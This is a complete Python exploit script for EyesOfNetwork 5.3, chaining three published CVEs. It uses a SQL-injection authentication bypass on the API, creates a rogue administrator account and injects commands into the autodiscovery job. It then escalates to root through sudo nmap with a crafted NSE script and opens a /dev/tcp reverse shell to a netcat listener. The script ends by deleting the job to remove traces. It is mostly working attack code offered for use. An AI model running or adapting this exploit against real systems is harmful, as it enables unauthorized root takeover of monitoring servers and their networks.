#!/bin/env python3
# coding: utf8
#
# Exploit Title: EyesOfNetwork 5.3 RCE
# Date: 02/2020
# Exploit Author: Clément Billac - Twitter: @h4knet
# Vendor Homepage: https://www.eyesofnetwork.com/
# Software Link: http://download.eyesofnetwork.com/EyesOfNetwork-5.3-x86_64-bin.iso
# Version: 5.3
# CVE : CVE-2020-8654, CVE-2020-8655, CVE-2020-8656
#
# CVE-2020-8654 - Discovery module to allows to run arbitrary OS commands
#                 We were able to run the 'id' command with the following payload in the target field : ';id #'.
#
# CVE-2020-8655 - LPE via nmap NSE script
#                 As the apache user is allowed to run nmap as root, we were able to execute arbitrary commands by providing a specially crafted NSE script.
#                 nmap version 6.40 is used and doesn't have the -c and -e options.
#
# CVE-2020-8656 - SQLi in API in getApiKey function on 'username' field
#                 PoC: /eonapi/getApiKey?username=' union select sleep(3),0,0,0,0,0,0,0 or '
#                 Auth bypass: /eonapi/getApiKey?&username=' union select 1,'admin','1c85d47ff80b5ff2a4dd577e8e5f8e9d',0,0,1,1,8 or '&password=h4knet
#
# Changelog
# v1.0 - 02/2020 - Initial release
# v1.1 - 03/2020 - Add parameters output; banner update

# Python imports
import sys, requests, json, os, argparse, socket
from bs4 import BeautifulSoup

# Text colors
txt_yellow = "\033[01;33m"
txt_blue = "\033[01;34m"
txt_red = "\033[01;31m"
txt_green = "\033[01;32m"
txt_bold = "\033[01;01m"
txt_reset = "\033[00m"
txt_info = txt_blue + "[*] " + txt_reset
txt_success = txt_green + "[+] " + txt_reset
txt_warn = txt_yellow + "[!] " + txt_reset
txt_err = txt_red + "[x] " + txt_reset

# Banner
banner = (txt_bold + """
+-----------------------------------------------------------------------------+
| EyesOfNetwork 5.3 RCE                                                       |
| 03/2020 - v1.1 - Clément Billac \033[01;34mTwitter: @h4knet\033[00m                            |
|                                                                             |
| Examples:                                                                   |
| eonrce.py -h                                                                |
| eonrce.py http(s)://EyesOfNetwork-URL                                       |
| eonrce.py https://eon.thinc.local -ip 10.11.0.182 -port 3128                |
| eonrce.py https://eon.thinc.local -ip 10.11.0.182 -user pentest2020         |
+-----------------------------------------------------------------------------+
""" + txt_reset)

# Arguments Parser
parser = argparse.ArgumentParser("eonrce", formatter_class=argparse.RawDescriptionHelpFormatter, usage=banner)
parser.add_argument("URL", metavar="URL", help="URL of the EyesOfNetwork server")
parser.add_argument("-ip", metavar="IP", help="Local IP to receive reverse shell", default=socket.gethostbyname(socket.gethostname()))
parser.add_argument("-port", metavar="Port", type=int, help="Local port to listen", default=443)
parser.add_argument("-user", metavar="Username", type=str, help="Name of the new user to create", default='h4ker')
parser.add_argument("-password", metavar="Password", type=str, help="Password of the new user", default='net_was_here')
args = parser.parse_args()

# HTTP Requests config
requests.packages.urllib3.disable_warnings()
baseurl = sys.argv[1].strip('/')
url = baseurl
useragent = 'Mozilla/5.0 (Windows NT 1.0; WOW64; rv:13.37) Gecko/20200104 Firefox/13.37'

# Admin user creation variables
new_user = args.user
new_pass = args.password

# Executed command
# The following payload performs both the LPE and the reverse shell in a single command.
# It creates a NSE script in /tmp/h4k wich execute /bin/sh with reverse shell and then perform the nmap scan on localhost with the created NSE script.
# Readable PoC: ;echo "local os = require \"os\" hostrule=function(host) os.execute(\"/bin/sh -i >& /dev/tcp/192.168.30.112/8081 0>&1\") end action=function() end" > /tmp/h4k;sudo /usr/bin/nmap localhost -p 1337 -script /tmp/h4k #
ip = args.ip
port = str(args.port)
cmd = '%3Becho+%22local+os+%3D+require+%5C%22os%5C%22+hostrule%3Dfunction%28host%29+os.execute%28%5C%22%2Fbin%2Fsh+-i+%3E%26+%2Fdev%2Ftcp%2F' + ip + '%2F' + port + '+0%3E%261%5C%22%29+end+action%3Dfunction%28%29+end%22+%3E+%2Ftmp%2Fh4k%3Bsudo+%2Fusr%2Fbin%2Fnmap+localhost+-p+1337+-script+%2Ftmp%2Fh4k+%23'

# Exploit banner
print (txt_bold,"""+-----------------------------------------------------------------------------+
| EyesOfNetwork 5.3 RCE                                                       |
| 03/2020 - v1.1 - Clément Billac - \033[01;34mTwitter: @h4knet\033[00m                          |
+-----------------------------------------------------------------------------+
""", txt_reset, sep = '')

# Reverse shell info output
print(txt_info, "Reverse shell: ", txt_bold, ip, ":", port, txt_reset, sep = '')
print(txt_info, "User to create: ", txt_bold, new_user, ":", new_pass, txt_reset, sep = '')


# Check if it's a EyesOfNetwork login page.
r = requests.get(baseurl, verify=False, headers={'user-agent':useragent})
if r.status_code == 200 and r.text.find('<title>EyesOfNetwork</title>') != -1 and r.text.find('form action="login.php" method="POST">') != -1:
	print(txt_info, "EyesOfNetwork login page found", sep = '')
else:
	print(txt_err, 'EyesOfNetwork login page not found', sep = '')
	quit()

# Check for accessible EON API
url = baseurl + '/eonapi/getApiKey'
r = requests.get(url, verify=False, headers={'user-agent':useragent})
if r.status_code == 401 and 'api_version' in r.json().keys() and 'http_code' in r.json().keys():
	print(txt_info, 'EyesOfNetwork API page found. API version: ',txt_bold , r.json()['api_version'], txt_reset, sep = '')
else:
	print(txt_warn, 'EyesOfNetwork API page not found', sep = '')
	quit()

# SQL injection with authentication bypass
url = baseurl + '/eonapi/getApiKey?&username=%27%20union%20select%201,%27admin%27,%271c85d47ff80b5ff2a4dd577e8e5f8e9d%27,0,0,1,1,8%20or%20%27&password=h4knet'
r = requests.get(url, verify=False, headers={'user-agent':useragent})
if r.status_code == 200 and 'EONAPI_KEY' in r.json().keys():
	print(txt_success, 'Admin user key obtained: ', txt_bold, r.json()['EONAPI_KEY'], txt_reset, sep = '')
else:
	print(txt_err, 'The host seems patched or unexploitable', sep = '')
	print(txt_warn, 'Did you specified http instead of https in the URL ?', sep = '')
	print(txt_warn, 'You can check manually the SQLi with the following payload: ', txt_bold, "/eonapi/getApiKey?username=' union select sleep(3),0,0,0,0,0,0,0 or '", txt_reset, sep = '')
	quit()

# Adding new administrator
url = sys.argv[1].strip('/') + '/eonapi/createEonUser?username=admin&apiKey=' + r.json()['EONAPI_KEY']
r = requests.post(url, verify=False, headers={'user-agent':useragent}, json={"user_name":new_user,"user_group":"admins","user_password":new_pass})
if r.status_code == 200 and 'result' in r.json().keys():
	if r.json()['result']['code'] == 0 and 'SUCCESS' in  r.json()['result']['description']:
		id = r.json()['result']['description'].split('ID = ', 1)[1].split(']')[0]
		print(txt_success, 'New user ', txt_bold, new_user, txt_reset, ' successfully created. ID:', txt_bold,  id, txt_reset, sep = '')

	elif r.json()['result']['code'] == 1:
		if ' already exist.' in  r.json()['result']['description']:
			print(txt_warn, 'The user ', txt_bold, new_user, txt_reset, ' already exists', sep = '')
		else:
			print(txt_err, 'An error occured while querying the API. Unexpected description message: ', txt_bold, r.json()['result']['description'], txt_reset, sep = '')
			quit()
	else:
		print(txt_err, 'An error occured while querying the API. Unepected result code. Description: ', txt_bold, r.json()['result']['description'], txt_reset, sep = '')
		quit()
else:
	print(txt_err, 'An error occured while querying the API. Missing result value in JSON response or unexpected HTTP status response', sep = '')
	quit()

# Authentication with our new user
url = baseurl + '/login.php'
auth_data = 'login=' + new_user + '&mdp=' +new_pass
auth_req = requests.post(url, verify=False, headers={'user-agent':useragent,'Content-Type':'application/x-www-form-urlencoded'}, data=auth_data)
if auth_req.status_code == 200 and 'Set-Cookie' in auth_req.headers:
	print(txt_success, 'Successfully authenticated', sep = '')
else:
	print(txt_err, 'Error while authenticating. We expect to receive Set-Cookie headers uppon successful authentication', sep = '')
	quit()

# Creating AutoDiscovery job
url = baseurl + '/lilac/autodiscovery.php'
job_command = 'request=autodiscover&job_name=Internal+discovery&job_description=Internal+EON+discovery+procedure.&nmap_binary=%2Fusr%2Fbin%2Fnmap&default_template=&target%5B2%5D=' + cmd
r = requests.post(url, verify=False, headers={'user-agent':useragent,'Content-Type':'application/x-www-form-urlencoded'}, cookies=auth_req.cookies, data=job_command)
if r.status_code == 200 and r.text.find('Starting...') != -1:
	job_id = str(BeautifulSoup(r.content, "html.parser").find(id="completemsg")).split('?id=', 1)[1].split('&amp;rev')[0]
	print(txt_success, 'Discovery job successfully created with ID: ', txt_bold, job_id, txt_reset, sep = '')
else:
	print(txt_err, 'Error while creating the discovery job', sep = '')
	quit()

# Launching listener
print(txt_info, 'Spawning netcat listener:', txt_bold)
nc_command = '/usr/bin/nc -lnvp' + port + ' -s ' + ip
os.system(nc_command)
print(txt_reset)

# Removing job
url = baseurl + '/lilac/autodiscovery.php?id=' + job_id + '&delete=1'
r = requests.get(url, verify=False, headers={'user-agent':useragent}, cookies=auth_req.cookies)
if r.status_code == 200 and r.text.find('Removed Job') != -1:
	print(txt_info, 'Job ', job_id, ' removed', sep = '')
else:
	print(txt_err, 'Error while removing the job', sep = '')
	quit()
